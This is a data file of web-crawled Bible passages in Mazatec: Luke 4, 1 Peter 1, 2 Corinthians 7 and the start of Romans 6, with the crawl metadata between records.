'mì‑lè, tjiì‑la̱ o̱kixi̱ nda̱jo̱ jè nga i̱nchra̱jín kàtama. 4Jesús kiìchja̱ kitsò: ―Tjít'aà Xo̱jo̱n‑la̱ Nainá nga tsò: \"Mìtsà tà koi tsojmì xi ma chine kítsa̱kon‑ne xi̱ta̱, ti̱koa̱á kítsa̱koón‑ne ngats'iì 'én‑la̱ Nainá.\" 5Jè xi̱ta̱ nei̱í kiìko̱ Jesús jngoò nindoò 'nga, tà jngoòhijta tsakó yije‑la̱ ngats'iì na̱xa̱ndá xi tjín i̱sò'nde. 6Jè xi̱ta̱ nei̱í kitsò‑la̱ Jesús: ―Ngaji̱í tsjaà yije‑lè ngats'iì na̱xa̱ndá koi, nga ji̱ ko̱ti̱xoma‑la̱ nga jeya ki̱jni. Nga 'a̱án kjònga̱tsja yije. Tsà mejèn‑na maá sìnga̱tsja ni̱ta̱ yá‑ne. 7Ngaji̱, tsà ko̱si̱xkó'nchit'aà‑ná ko̱ jeya si̱kíjna‑ná, tsi̱jií ko̱ma kóho̱tjín. 8Kiìchja̱ Jesús, kitsò‑la̱: ―Ti̱si̱t'aà xìn‑ná ji̱, xi̱ta̱ nei̱í. K'oa̱á s'ín tjít'aà Xo̱jo̱n‑la̱ Nainá nga tsò: \"Jeya ti̱kíjni Na̱'èn‑ná xi Nainá; tà jè ta̱jngoò cha̱xkoín.\" 9Jè xi̱ta̱ nei̱í, i̱kjoàn kiìko̱ Jesús ján Jerusalén; kisìkíjnasòn i̱ngo̱ ítjòn ñánda ìsa̱ 'nga kji; kitsò‑la̱: ―Tsà kixi̱í kjoa̱ nga ji̱ xi Ki'ndí‑la̱ Nainá 'mì‑lè, ti̱katje̱ngui yijo‑lè i̱jndé; 10k'oa̱á s'ín tjít'aà Xo̱jo̱n‑la̱ Nainá nga tsò: Nainá koií xá‑la̱ àkja̱le̱‑la̱ mé‑ne nga si̱ìkinda̱‑lè, 11nga ko̱ tsja tso̱ba̱'ñó‑lè mé‑ne nga ni̱jngoò nda̱jo̱ satíngui‑ne ndso̱koiì. 12Kiìchja̱ Jesús, kitsò‑la̱: ―K'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Kì ta̱xki̱ chít'aà‑jèn Na̱'èn‑ná xi Nainá.\" 13Jè xi̱ta̱ nei̱í, k'e̱ nga mì ti̱ kiì kisakò‑la̱ kós'ín skóna̱cha̱n‑la̱ Jesús nga mejèn‑la̱ ko̱hótsji jé, tsasìt'aà xìn chiba na̱chrjein‑la̱ skanda komà i̱skan. 14Jesús j'iì ìjngoò k'a‑ne Galilea, ko̱ nga'ñó‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá ndaà tíjiìn ini̱ma̱‑la̱; kina'yà‑la̱ i̱t'aà ts'e̱, kóho̱kji nga jngoò itjandiì nangui ts'e̱ Galilea. 15Tsakóya ya̱ ni'ya i̱ngo̱ sinagoga xi ts'e̱ na̱xa̱ndá ñánda tsajmeè; ngats'iì xi̱ta̱ xi kiì'nchré 'én‑la̱ ndaà kisìkíjna Jesús. 16Jesús ijchò Nazaret ya̱ nangui‑la̱ ñánda kòjchá. Jè na̱chrjein nìkjáya, koni s'ín s'ín kjit'aà, jahas'en ni'ya i̱ngo̱ sinagoga. Tsasìjna kixi̱ nga tsibíxke̱ Xo̱jo̱n‑la̱ Nainá. 17Kits'iì‑la̱ xo̱jo̱n‑la̱ Isaías, xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá; k'e̱ nga kiskíjnda̱ya jè xo̱jo̱n, kjòtsji‑la̱ ñánda tjít'aà 'én xi tsò: 18Jè Ini̱ma̱ Tsjeè‑la̱ Nainá tíjnako̱‑na nga 'a̱án tsibít'aà‑na xá nga sìka'bí‑la̱ xi̱ta̱ i̱ma̱ 'én ndaà‑la̱ Nainá; 'a̱án kisìkasén‑na nga sìndaà‑na xi̱ta̱ xi kjo̱'on tíjiìn ini̱ma̱‑la̱; ti̱koa̱á koi xá kisìkasén‑na nga 'a̱n kichjàjiìn‑la̱ xi̱ta̱ xi nda̱yá títsa̱jna nga kítsa̱jnandei̱í‑ne; sìndaà‑na jñà xi̱ta̱ xi mìkiì tsejèn‑la̱; kítsa̱jnandei̱í xi̱ta̱ xi tíyatoòn; 19kichjàya jè nó‑la̱ Nainá k'e̱ nga tsjá‑la̱ kjo̱tjò xi̱ta̱‑la̱. 20Tsibíxkóya‑ne xo̱jo̱n, kitsjaà‑la̱ jè xi̱ta̱ xi síchját'aà xá ts'e̱ ni'ya i̱ngo̱ sinagoga, i̱kjoàn tsibìjna. Tà nchikotsejèn‑la̱ ngats'iì xi̱ta̱ xi ya̱ títsa̱jna. 21K'e̱é tsibíts'ia̱ Jesús nga kiìchja̱ kitsò: ―I̱'ndei̱, jyeé kàna'yà‑là nga nguixkoòn kòbitasòn koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá xi 'a̱n kòbìxke̱e. 22Ngats'iì xi̱ta̱ ndaà kiìchja̱ i̱t'aà ts'e̱ Jesús. Tà k'oa̱á komà‑la̱ nga 'ñó ndaà tsò 'én xi chja̱. Jñà xi̱ta̱ kitsò‑la̱ xíkjín: ―¿A mìtsà jè jèe̱ xi ki'ndí‑la̱ José? 23K'e̱é kitsò Jesús: ―Xi o̱kixi̱, jñò, k'oa̱á k'oín‑ná 'én xi tsò: \"Chji̱ne̱ xkiì, ti̱ji ti̱xkiì‑la̱ yijo‑lè.\" K'oa̱á ti̱s'ín k'oín‑ná: \"Koni s'ín kina'yà‑je̱n kjoa̱ xi ki'nì ján Capernaum nga kinìxkiì‑la̱ xi̱ta̱, k'oa̱ ti̱s'ín ti̱xkiì‑la̱ i̱ nangui‑lè.\" 24Jesús kitsò‑ìsa: ―O̱kixi̱í xi xan‑nò, ni̱jngoò xi̱ta̱ xi chja̱ ngajo‑la̱ Nainá xi yaxkón ya̱ nangui‑la̱. 25Ti̱koa̱á o̱kixi̱í xi xan‑nò, kjìn íchjín ka'àn tjín ya̱ Israel jè na̱chrjein ts'e̱ Elías k'e̱ nga jàn nó osen mì ti̱ kiì ts'a‑ne jtsí; j'iì kjinchrá 'ñó kóho̱kji i̱'nde Israel. 26Ta̱nga jè Elías mìtsà ya̱ kiì ñánda títsa̱jna íchjín ka'àn ts'e̱ na̱xa̱ndá Israel; ya̱á kinìkasén ñánda tíjna chjo̱ón ka'àn ts'e̱ na̱xa̱ndá Sarepta xi chja̱‑ne Sidón. 27Ti̱koa̱á kjìn ma xi̱ta̱ xi tíbindojno chrjoa̱ yijo‑la̱ ya̱ Israel koi na̱chrjein ts'e̱ Eliseo, xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. Ta̱nga ni̱jngoò xi xi̱ta̱ Israel kjòndaà‑ne, tà jè ta̱jngoò Naamán xi Siria ts'e̱. 28Ngats'iì xi̱ta̱ xi ya̱ títsa̱jna ya̱ ni'ya i̱ngo̱ sinagoga, 'ñó kòjti‑la̱ k'e̱ nga kiì'nchré 'én xi kiìchja̱ Jesús nga k'oa̱á s'ín kiskaàya‑la̱ nga kondra̱ ts'e̱‑né. 29Ngats'iì xi̱ta̱ koi tsasítje̱n, tsachrjejiìn Jesús ya̱ na̱xa̱ndá jè, kiìko̱ i̱sò'nga nindoò ñánda kijna na̱xa̱ndá‑la̱ nga mejèn‑la̱ si̱ìkatje̱n‑ngui na̱xi̱ ñánda nga 'ñó tje̱n‑jen‑jno choòn. 30Ta̱nga jè Jesús jahajiìn osen‑la̱ koa̱ kiì. 31Jesús kiì ñánda 'mì Capernaum, na̱xa̱ndá xi chja̱‑ne Galilea; tsakóya‑la̱ xi̱ta̱ k'e̱ nga na̱chrjein nìkjáya. 32Jñà xi̱ta̱, tà k'oa̱á komà‑la̱ koni tsò 'én xi tsakóya, nga jè 'én xi kiìchja̱, tjín‑la̱ kjo̱tíxoma. 33Ya̱ ni'ya i̱ngo̱ sinagoga tíjna jngoò xi̱ta̱ xi ini̱ma̱ ch'o‑la̱ nei̱í síxájiìn yijo‑la̱; xi̱ta̱ jè, 'ñó kiìchja̱: 34―Jesús xi Nazaret tsi̱ji, kì k'oa̱á nìko̱‑náje̱n. ¿Mé kjoa̱ xi tjín‑lè ko̱ ngaje̱n? ¿Mé‑ne ngaje̱n nìjti‑náje̱n? ¿A kòf'i̱ nìkjehesòn‑náje̱n? Beèxkon‑lè; ji̱‑né xi Xi̱ta̱ Tsjeè‑la̱ Nainá ―kitsò. 35Jesús tsohótiko̱ jè xi̱ta̱ nei̱í: ―¡Jyò ti̱jni, titjo̱jiìn yijo‑la̱ xi̱ta̱ jè! ―kitsò‑la̱. Jè ini̱ma̱ ch'o‑la̱ nei̱í, tsajndoòt'aà nangui nga nguixko̱n ngats'iì xi̱ta̱, i̱kjoàn itjojiìn yijo‑la̱ xi̱ta̱ jè, ta̱nga nì mé xi kisìki'on. 36Ngats'iì xi̱ta̱ xi títsa̱jna, tà kitsakjòn‑né; k'e̱é tsohóko̱ xíkjín: ―¿Mé 'én‑ne koi? K'e̱ nga chja̱ xi̱ta̱ jè, tjín‑la̱ nga'ñó ti̱koa̱ tjín‑la̱ kjo̱tíxoma nga síkitasòn‑la̱ ini̱ma̱ ch'o‑la̱ nei̱í ―kitsò. 37Jesús, kina'yà‑la̱ kóho̱kji nga jngoò itjandiì nangui xi chja̱‑ne Galilea. 38Jesús tsasítje̱n; itjo‑ne ni'ya i̱ngo̱ sinagoga; kiì; jahas'en ni'ya‑la̱ Simón. Jè na̱chíya‑la̱ Simón 'ñó xk'én. Ch'in tìjnga tjín‑la̱. Jñà xi̱ta̱ kiìchja̱tjì nga skótsejèn‑la̱. 39Jesús tsasìñiat'aà‑la̱, tsohótiko̱ ch'in tìjnga; jè chjo̱ón ni̱to̱ón kjòndaà‑ne. I̱kjoàn tsasítje̱n, kisìs'in‑la̱ xi̱ta̱. 40K'e̱ nga tíkaàtjì ts'oí, ngats'iì xi̱ta̱ xi tjín‑la̱ xi̱ta̱ xk'én xi kjìn sko̱ya ch'in tjín‑la̱, j'iìko̱ ñánda tíjna Jesús. Jè Jesús tsohót'aà‑la̱ tsja nga jngoò ìjngoò xi̱ta̱ xk'én; ngats'iì xi̱ta̱ koi, kjòndaà yijeé‑ne. 41Ti̱koa̱á kjìn ma xi̱ta̱ xi ini̱ma̱ ch'o‑la̱ nei̱í itjokàjiìn yijo‑la̱ nga kjòndaà‑ne. 'Ñó kiìchja̱ ini̱ma̱ ch'o‑la̱ nei̱í: ―¡Ji̱‑né xi Ki'ndí‑la̱ Nainá 'mì‑lè! ―kitsò. Ta̱nga jè Jesús tsohótiko̱. Mìkiì kitsjaà'nde‑la̱ nga kiìchja̱, koií kjoa̱‑la̱ nga jyeé beèxkon nga jè xi Cristo, [xi̱ta̱ xi xó kisìkasén‑ne Nainá]. 42K'e̱ nga jye kis'e i̱sén, itjo Jesús; kiì jngoò i̱'nde i̱t'aà xìn ñánda tsjìn xi̱ta̱. Jñà xi̱ta̱ tsohótsji ñánda kiì. K'e̱ nga ijchò ñánda tíjna, mejèn‑la̱ nga ya̱ kíjnako̱ nga mì xìn kjoi̱. 43Ta̱nga jè Jesús kitsò‑la̱ jñà xi̱ta̱: ―Ti̱koa̱á mochjeén‑né nga xìn na̱xa̱ndá kjíkoa̱a 'én ndaà‑la̱ Nainá koni s'ín otíxoma Nainá. Koií xá kisìkasén‑na Nainá. 44K'oa̱á s'ín chja̱ya 'én‑la̱ Nainá kóho̱kji ni'ya i̱ngo̱ sinagoga xi tjín ya̱ nangui‑la̱ xi̱ta̱ judío.\nSan Lucas 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/4","date":"2013-12-10T17:04:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164022328\/warc\/CC-MAIN-20131204133342-00078-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000075101852417}","num_words":1001,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.289,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'A̱n xi 'mì‑na̱ Pedro, nga 'a̱n tsibíxáya‑na Jesucristo, sìhixat'aà‑nò ngats'ioò xi xó jaàjiìn‑nò Nainá nga mì ti̱ nangui‑nò titsa̱jna‑nò nga xki̱ xi ján na̱xa̱ndá kitsjohoya ya̱ nangui Ponto, Galacia, Capadocia, Asia ko̱ Bitinia; 2jñò xi xó kitjaàjiìn‑nò, koni s'ín jye tjíndaà‑la̱ xi kjo̱hítsjeèn‑la̱ Nainá xi Na̱'èn‑ná ma, nga jè Ini̱ma̱ Tsjeè‑la̱ k'oa̱á s'ín kisìko̱‑nò nga nguì xi̱ta̱‑la̱ Nainá ma, mé‑ne nga si̱kitasòn‑là Jesucristo ko̱ mé‑ne ma xíxteèn‑jno‑nò jní‑la̱ nga matsjeèya ini̱ma̱‑nò kjoa̱ ts'e̱ jé‑nò. Tseé kjo̱ndaà ko̱ kjoa̱'nchán kàtas'e‑la̱ ini̱ma̱‑nò. 3Jeya kàtìjna Nainá xi Na̱'èn‑la̱ Jesucristo xi otíxoma‑ná. 'Ñó tse kjoa̱hi̱ma̱takòn tjín‑la̱: koni s'ín jaáya‑la̱ Jesucristo kjoa̱ ts'e̱ kjoa̱biyaà, k'oa̱á kisìko̱‑ná Nainá nga kits'in xi̱tse̱ ìjngoò k'aá mé‑ne nga kjit'aà na̱chrjein chíñakjoa̱á 4nga tsjá‑ná kjo̱tjò xi jè tíjnatjò‑la̱ ján ngajmiì, kjo̱tjò xi mìkiì bits'on ni̱ta̱ kjé‑ne, mìkiì bi'ndo ko̱ mìkiì bixòña. Kjo̱tjò jè, jñá tjoé‑ná. 5Ta nga̱tjì‑la̱ nga mokjeiín‑ná i̱t'aà ts'e̱ Nainá, jè nga'ñó‑la̱ síkinda̱‑ná skanda k'e̱ nga ki̱tjokàjñaá kjo̱'in koni s'ín tjíndaà‑la̱ Nainá k'e̱ nga jye kjoe̱het'aà na̱chrjein. 6Koií kjoa̱‑la̱, jñò, 'ñó tsja tjín‑nò, na̱s'ín tjín i'nga na̱chrjein nga makájno‑nò nga kjìn ska̱ya kjo̱'in nìkjioón. 7K'oa̱á ma‑ne nga kjo̱'in nìkjioón nga ma chít'aà‑nò tsà ndaà mokjeiín‑nò. K'oa̱á ngaya‑la̱ koni jè oro, mochjeén‑né nga ko̱ ni'ín ko̱tsjeèya‑ne. Ko̱ jè kjoa̱ nga mokjeiín‑nò ìsa̱á 'ñó chjí‑la̱ mì k'oa̱á‑ne koni jè oro xi bits'ón‑ya. Jñò, k'e̱ nga jye chít'aà‑nò koni s'ín mokjeiín‑nò, jeyaá ki̱tsa̱jnaà, 'ngaá ki̱tsa̱jnaà ko̱ jcha̱xkón‑nò k'e̱ nga kjoi̱í ìjngoò k'a Jesucristo. 8Jñò, matsjacha‑nò Jesucristo, na̱s'ín mìkiì kiyaxkoòn. Mokjeiín‑nò i̱t'aà ts'e̱, na̱s'ín mìkiì titsa̱'yaà. 'Ñó tsja ma‑nò skanda tsjìn 'én xi ma s'e̱no̱jmí nga 'ñó tjín‑nò kjo̱tsja. 9Koií kjoa̱‑la̱ nga matsja‑nò nga jye titsa̱bitjokàjñoò kjo̱'in ta nga̱tjì‑la̱ nga mokjeiín‑nò i̱t'aà ts'e̱ Cristo. 10Jè kjoa̱ nga bitjokàjñoò kjo̱'in, jñà xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá kjòtseé, kiskoòta'yàko̱‑né ti̱koa̱á kiskònanguiya‑né, i̱kjoàn kiìchja̱ya jè kjo̱ndaà xi tsjá‑nò Nainá. 11Jñà xi̱ta̱ koi, jè Ini̱ma̱‑la̱ Cristo kisìkichi̱ya ítjòn‑la̱ mé kjo̱'in xi si̱ìkjeiín Cristo ko̱ kjoa̱ jeya xi s'e̱‑la̱ k'e̱ nga ko̱ma i̱skan. Kiskònanguiya‑né mé na̱chrjein‑ne nga k'oa̱s'ín ko̱mat'in koa̱ kós'ín ko̱ma. 12Ta̱nga jè Nainá kisìkichi̱ya‑la̱ nga mìtsà kjo̱ndaà ts'e̱ nga ko̱s'ín kis'eno̱jmí‑la̱ 'én koi; kjo̱ndaà tsa̱jòn‑nò. Ko̱ jñà 'én koi, ti̱jñà‑ne 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi tís'eno̱jmí‑nò na̱chrjein i̱'ndei̱. Nga ti̱jé‑ne Ini̱ma̱ Tsjeè‑la̱ Nainá xi ngajmiì nchrobá‑ne tsjá‑la̱ nga'ñó jñà xi̱ta̱ xi béno̱jmí‑nò. Skanda jñà àkja̱le̱, mejèn‑la̱ skoe̱ kjoa̱ koi. 13Koií kjoa̱‑la̱ jñò, titsa̱jnandaà, ndaà ti̱kítsjeèn, nguì ndaà chíñakjoa̱‑là kjo̱ndaà xi tjoé‑nò k'e̱ nga kjoi̱í ìjngoò k'a Jesucristo. 14K'oa̱s'ín ndaà ti̱jchá yijo‑nò koni i̱xti xi ndaà 'nchréñijon. Kì k'oa̱ ti̱s'ín 'nè‑nò koni s'ín ki'nè nga sa̱ ítjòn nga ch'o tjín kjoa̱ xi kisìjé yijo‑nò k'e̱ nga ti̱kj'eè ndaà yaxkoòn Nainá. 15Ta̱ sa̱á tsjeè ti̱jchá yijo‑nò ngats'iì kjoa̱ xi 'nè, nga jè Nainá xi xó kiìchja̱‑nò, xi̱ta̱ tsjeè‑né. 16Nga jè Xo̱jo̱n‑la̱ Nainá, k'oa̱á s'ín tíchja̱ nga tsò: \"Jñò, xi̱ta̱ tsjeè kàtama, nga 'a̱n, xi̱ta̱ tsjeè‑ná.\" 17Jñò, tsà Na̱'èn 'mì‑là Nainá xi ta ngásòn tífìko̱ ngats'iì xi̱ta̱ k'e̱ nga bìndaàjiìn‑la̱ ni̱ta̱ mé kjoa̱ xi s'ín, mochjeén‑né nga kjit'aà na̱chrjein ndaà jcha̱xkón nga i̱ titsa̱jnaà i̱sò'nde nga mìtsà i̱ nangui‑nò. 18Jñò, jyeé ndaà tíjiìn‑nò nga mìtsà tsojmì xi ma‑la̱ bits'on kjòchjítjì‑nò nga ma titsa̱jnandei̱í‑nò ngats'iì kjoa̱ ch'o xi ni̱mé chjí‑la̱ koni s'ín tsakó‑nò xi̱ta̱ jchínga‑nò. Mìtsà to̱n oro ko̱ to̱n plata kjòchjítjì‑nò. 19Jè jní‑la̱ Cristo xi 'ñó tse chjí‑la̱ kjòchjítjì‑nò. Cristo kitsjaà kjo̱tjò yijo‑la̱ nga k'en‑t'aà krò koni jngoò orrè xi tsjeè kji, xi ni̱mé ch'in tjít'aà yijo‑la̱. 20Ti̱k'e̱‑ne nga ti̱kj'eè sindaà i̱sò'nde, Cristo, k'oa̱á s'ín kisinè‑la̱ kjoa̱ xi si̱ìkitasòn. Ta̱nga jè na̱chrjein xi titsa̱jnaá i̱'ndei̱ ki'ya‑la̱ nga j'iì Cristo nga kisìkitasòn kjoa̱ xi kisinè‑la̱ xi kjo̱ndaà tsa̱jòn. 21Xi i̱t'aà ts'e̱ Cristo, jñò mokjeiín‑nò i̱t'aà ts'e̱ Nainá; nga jè kisìkjaáya‑la̱ i̱t'aà ts'e̱ kjoa̱biyaà, ti̱koa̱ kitsjaà‑la̱ kjoa̱ jeya; k'oa̱á ma‑ne nga mokjeiín‑nò ko̱ chiñà nga si̱ìkitasòn Nainá koni s'ín kitsjaà‑nò tso'ba. 22Jè ini̱ma̱‑nò, jyeé kjòtsjeè, koií kjoa̱‑la̱ nga nìkitasòn koni tsò 'én kixi̱‑la̱ Nainá mé‑ne nga kixi̱ si̱tjòchaà xinguio̱o. K'oa̱á ma‑ne nga mochjeén‑né nga 'ñó ndaà ti̱tsjacha xinguio̱o nga tsjeè tjín ini̱ma̱‑nò. 23Jñò, ìjngoò k'a kits'iìn xi̱tse̱ ìjngoò k'a‑nò. Ta̱nga mìtsà tje̱‑la̱ xi̱ta̱ xi biyaà kits'iìn‑nò, jè tje̱‑la̱ Nainá xi mìkiì biyaà kits'iìn‑nò. Nga̱ jè 'én‑la̱ Nainá xi tíjnakon ko̱ xi mìkiì fehet'aà ni̱ta̱ kjé‑ne kits'iìn ìjngoò k'a‑nò. 24Nga k'oa̱á s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: Ngats'iì xi̱ta̱, k'oa̱á s'ín ngaya‑la̱ koni xka̱ ijñá; kjoa̱jeya‑la̱ xi̱ta̱, k'oa̱á s'ín ngaya‑la̱ koni naxó‑la̱ xka̱ ijñá; jñà xka̱ ijñá, xì‑né; i̱kjoàn bixòjen naxó‑la̱. 25Ta̱nga jè 'én‑la̱ Nainá tíjna‑né ni̱ta̱ kjé‑ne. 'Én jè, jè 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi jye kis'eno̱jmí‑nò.\n1 Pedro Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Pet\/","date":"2013-12-05T16:23:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163046801\/warc\/CC-MAIN-20131204131726-00075-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":735,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.288,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò ndí 'ndsè xi matsjake̱‑nò, k'oa̱á tjín kjo̱ndaà xi tsjá‑ná Nainá koni s'ín kitsjaà tso'ba. K'oa̱á ma‑ne ki̱nchat'aàxìn‑là ngats'iì kjoa̱ xi tjé tjín xi síkits'ón yijo‑ná ko̱ ini̱ma̱‑ná, mé‑ne tsjeè ki̱tsa̱jnaá nga nguixko̱n Nainá. Ndaà jcha̱xkoán Nainá mé‑ne nga kjit'aà na̱chrjein ìsa̱ tsjeè si̱jchá yijo‑ná. 2Chjoétjò‑náje̱n nga ko̱ ini̱ma̱‑nò. Ngaje̱n, ni̱yá xi̱ta̱ xi ch'o nìko̱‑je̱n; ni̱ sa̱á yá xi̱ta̱ nìkí'on‑je̱n, ni̱ sa̱á jngoò xi̱ta̱ chona̱cha̱n‑la̱je̱n. 3K'e̱ nga k'oa̱s'ín tìxan‑nò, mìtsà mé kjoa̱ xi ch'o tjín tìhonè‑nò; jyeé k'oa̱ kixan‑nò nga sa̱ ítjòn, kjit'aá na̱chrjein nga matsjacha‑nòje̱n, na̱s'ín ki̱yá ko̱ tsà titsa̱jnakoaán, ko̱ó ini̱ma̱‑na̱je̱n nga matsjacha‑nòje̱n. 4Nguì 'én kixi̱í xi tìchjàko̱‑nò; 'ñó matsja‑la̱ ini̱ma̱‑na̱ i̱t'aà tsa̱jòn. 'Ñó tjín‑na̱ kjo̱jetakòn ko̱ ta̱xki̱ tsjaá ma‑la̱ ini̱ma̱‑na̱, na̱s'ín tse kjo̱'in tjín‑naje̱n. 5K'e̱ nga j'iì‑je̱n i̱ nangui Macedonia, ni̱mé xi komà kinìkjáya‑je̱n. 'Ñó kinìkájno‑je̱n; xki̱ xi ján kis'e‑naje̱n kjoa̱siì, koa̱ ya̱ i̱jiìn ini̱ma̱‑naje̱n 'ñó kisinchaàxkón. 6Ta̱nga Nainá síjehikon‑né xi̱ta̱ xi indaà tjín ikon; kisìjehikòn‑naje̱n k'e̱ nga j'iì Tito. 7Mìtsà tà koi kjoa̱‑la̱ nga j'iì Tito, jè‑né nga jè, ti̱koa̱á tsja tjín‑la̱ xi i̱t'aà tsa̱jòn. Tsibéno̱jmí‑naje̱n nga jñò, 'ñó mejèn‑nò nga jcha̱xkon‑náje̱n. K'oa̱á ti̱ kitsò‑naje̱n nga ba titsa̱jnaà koa̱ makájno‑nò i̱t'aà ts'a̱n. K'e̱ nga ki'nchrè 'én koi, 'a̱n, ìsa̱á ndaà kjòtsja‑na. 8Jñò, na̱s'ín tà kjoa̱ba tsohotsjì‑nò k'e̱ nga kisìkasén ítjòn‑nò xo̱jo̱n, i̱'ndei̱, mì ti̱ kiì tìsìkájno‑na. Nga sa̱ ítjòn kisìkájnoa nga kisìkasén jngoò‑nò xo̱jo̱n, koií kjoa̱‑la̱ nga kisibaá chiba na̱chrjein‑nò. 9Ta̱nga i̱'ndei̱, matsja‑la̱ ini̱ma̱‑na̱, mìtsà koi nga kjoa̱ba kis'e‑nò kjoa̱ ts'e̱ xo̱jo̱n, koi‑né nga i̱t'aà ts'e̱ Nainá kinìkájno jé‑nò nga mì ti̱ jé chinchaàtsji‑nò. Jñò, k'oa̱á s'ín kjòba‑nò koni s'ín mejèn‑la̱ Nainá. K'oa̱á ma‑ne nga ni̱mé kjoa̱ ch'o kisakò‑nò i̱t'aà tsa̱je̱n. 10Jè kjoa̱ba xi s'e‑ná koni s'ín mejèn‑la̱ Nainá, jè síxájiìn ini̱ma̱‑ná nga nìkájnoaá jé‑ná nga mì ti̱ jé binchaàtsji‑ná mé‑ne nga ko̱ma ki̱tjokàjñaá kjo̱'in; ko̱ mìtsà mé xi i̱skan si̱kájnoaá. Ta̱nga jè kjoa̱ba xi tsjá‑ná i̱sò'nde nga mìkiì mokjeiín‑ná i̱t'aà ts'e̱ Nainá, jé síxájiìn ini̱ma̱‑ná nga kjoa̱ biyaà fìko̱‑ná. 11Ta̱nga ti̱kítsjeèn ngats'iì kjo̱ndaà xi ki'nè ta koi kjoa̱‑la̱ nga kjoa̱ba kisakò‑nò i̱t'aà ts'e̱ Nainá. I̱'ndei̱ titsa̱jnandaà‑nò nga s'e̱en kjoa̱ xi tjínè‑nò nga si̱kitasòn; k'oa̱á s'ín titsa̱hokoò yijo‑nò nga ni̱mé jé tjín‑nò; majticha‑nò kjoa̱ ts'e̱ jé; i̱'ndei̱ tsakjoòn‑chaà Nainá; mejèn‑nò nga jcha̱xkon‑ná; makájnoó‑nò i̱t'aà ts'a̱n; k'oa̱á komà‑ne nga kits'iì‑là kjo̱'in jè xi̱ta̱ xi tsohótsji jé. Ngats'iì kjoa̱ koi koni s'ín ki'nè, k'oa̱á s'ín 'ya‑la̱ nga mìtsà ngats'ioò tjín‑nò jé. 12'A̱n, koni s'ín kiskiì‑nò xo̱jo̱n carta xi kisìkasén‑nò, mìtsà jè tìsìkítsjeèn i̱t'aà ts'e̱ xi̱ta̱ xi tsohótsji jé; ni̱ mìtsà i̱t'aà ts'e̱ xi̱ta̱ xi kitsì'on kisìkasén‑nò xo̱jo̱n. Jè‑né nga ti̱jñò ki'ya‑nò nga nguixko̱n Nainá nga kixi̱í kjoa̱ nga tjòcha 'ya‑náje̱n. 13Maje takòn‑náje̱n ngats'iì kjoa̱ xi ki'nè. Mìtsà ta koií kjoa̱‑la̱ nga maje takòn‑je̱n i̱t'aà ts'e̱ kjoa̱ koi; ìsa̱ 'ñó matsja‑naje̱n nga ki'ya‑je̱n Tito nga 'ñó tsja tjín‑la̱, koií kjoa̱‑la̱ nga ngats'ioò kinìtsjako̱o. 14'A̱n, jyeé ko̱s'ín ndaà kisìkítsa̱jna‑nò nga nguixko̱n Tito koni kixan‑la̱. Jñò, ni̱mé kjoa̱ tjín xi ch'o kinìkíjna‑ná. Koni s'ín nga ngats'iì 'én xi ki'mì‑nòje̱n, nguì 'én kixi̱‑né, k'oa̱á ti̱s'ín kixi̱ itjo koni tsò 'én xi kixan‑la̱ Tito nga ndaà kisìkítsa̱jna‑nò. 15Tito, ìsa̱á 'ñó ndaà matsjakeè‑nò k'e̱ nga bítsjeèn‑la̱ nga ngats'ioò ndaà kinìkitasòn‑là ko̱ ndaà kichjoétjò k'e̱ nga ijchòkon‑nò, koa̱ 'ñó ndaà kiyaxkón. 16I̱'ndei̱, i̱t'aà tsa̱jòn ma'ñót'aà takoàn ni̱ta̱ mé kjoa̱‑ne, k'oa̱á ma‑ne nga matsja‑la̱ ini̱ma̱‑na̱.\n2 Corintios 7","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/7","date":"2013-12-06T21:02:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052537\/warc\/CC-MAIN-20131204131732-00062-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":28,"top_langs":"{\"maa_Latn_score\": 1.0000076293945312}","num_words":530,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.251,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1¿Kó kixoán? ¿A ndaà tjín nga ki̱nchátsji‑jé‑ìsa mé‑ne nga ìsa̱ tse kjo̱ndaà tsjá‑ne Nainá? 2Majìn, mì kiì ti̱ k'oa̱ s'e̱n‑ná. Jyeé titsa̱jnat'aàxìn‑lá kjoa̱ ts'e̱ jé koni tsà jye k'eén xi i̱t'aà ts'e̱; mì ti̱ kiì ko̱ma ya̱ ki̱tsa̱jnajiìn‑ìsaá kjoa̱ ts'e̱ jé. 3¿A mìtsà jye tíjiìn‑nò k'e̱ nga komà bautizar i̱t'aà ts'e̱ Cristo ngats'iaá nga ti̱koa̱ ya̱ titsa̱kjoòkoa̱á k'e̱ nga k'en? 